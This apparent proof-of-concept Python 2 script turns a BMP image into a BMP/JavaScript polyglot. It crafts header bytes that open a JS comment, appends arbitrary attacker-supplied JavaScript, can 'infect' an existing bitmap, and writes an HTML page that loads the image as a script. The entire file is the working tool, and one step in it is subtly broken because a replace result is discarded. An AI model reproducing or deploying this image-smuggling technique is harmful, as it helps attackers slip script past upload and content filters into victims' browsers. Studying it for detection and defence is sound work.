BMPInjector.py

#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a BMP. ====================================================#
#======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
								#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
								#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os

#---------------------------------------------------------
def _hexify(num):
	"""
	Converts and formats to hexadecimal
	"""
	num = "%x" % num
	if len(num) % 2:
		num = '0'+num
	return num.decode('hex')

#---------------------------------------------------------
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
#;alert(_0xe428[0]);"
def _generate_and_write_to_file(payload, fname):
	"""
	Generates a fake but valid BMP within scriting
	"""
	f = open(fname, "wb")
	header = (b'\x42\x4D'  #Signature BM
						b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header
						b'\x00\x00\x00\x00' #Reserved
						b'\x00\x00\x00\x00' #bitmap data offset
						b''+ _hexify( len(payload) ) + #bitmap header size
					  b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
						b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
					  b'\x00\x00' #nb_plan
						b'\x00\x00' #nb per pixel
						b'\x00\x10\x00\x00' #compression type
						b'\x00\x00\x00\x00' #image size .. its ignored
						b'\x00\x00\x00\x01' #Horizontal resolution
						b'\x00\x00\x00\x01' #Vertial resolution
						b'\x00\x00\x00\x00' #number of colors
						b'\x00\x00\x00\x00' #number important colors
						b'\x00\x00\x00\x80' #palet colors to be complient
						b'\x00\x80\xff\x80' #palet colors to be complient
						b'\x80\x00\xff\x2A' #palet colors to be complient
						b'\x2F\x3D\x31\x3B' #*/=1;
						)
	# I made this explicit, step by step .
	f.write(header)
	f.write(payload)
	f.close()
	return True

#---------------------------------------------------------
def _generate_launching_page(f):
	"""
	Creates the HTML launching page
	"""

	htmlpage ="""
								<html>
								<head><title>Opening an image</title> </head>
								<body>
									<img src=\"""" + f + """\"\>
									<script src= \"""" + f + """\"> </script>
								</body>
								</html>
						"""
	html = open("run.html", "wb")
	html.write(htmlpage);
	html.close()
	return True

#---------------------------------------------------------
def _inject_into_file(payload, fname):
	"""
	Injects the payload into existing BMP
	NOTE: if the BMP contains \xFF\x2A might caouse issues
	"""
	# I know, I can do it all in memory and much more fast.
	# I wont do it here.
	f = open(fname, "r+b")
	b = f.read()
	b.replace(b'\x2A\x2F',b'\x00\x00')
	f.close()

	f = open(fname, "w+b")
	f.write(b)
	f.seek(2,0)
	f.write(b'\x2F\x2A')
	f.close()

	f = open(fname, "a+b")
	f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
	f.write(payload)
	f.close()
	return True


#---------------------------------------------------------
if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("filename",help="the bmp file name to be generated/or infected")
	parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
	parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
	args = parser.parse_args()
	print("""
					|======================================================================================================|
					| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
					| It is the end user's responsibility to obey all applicable local, state and federal laws.            |
					| Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
					|======================================================================================================|
					""")
	if args.inject_to_existing_bmp:
		 _inject_into_file(args.js_payload, args.filename)
	else:
		_generate_and_write_to_file(args.js_payload, args.filename)

	_generate_launching_page(args.filename)
	print "[+] Finished!"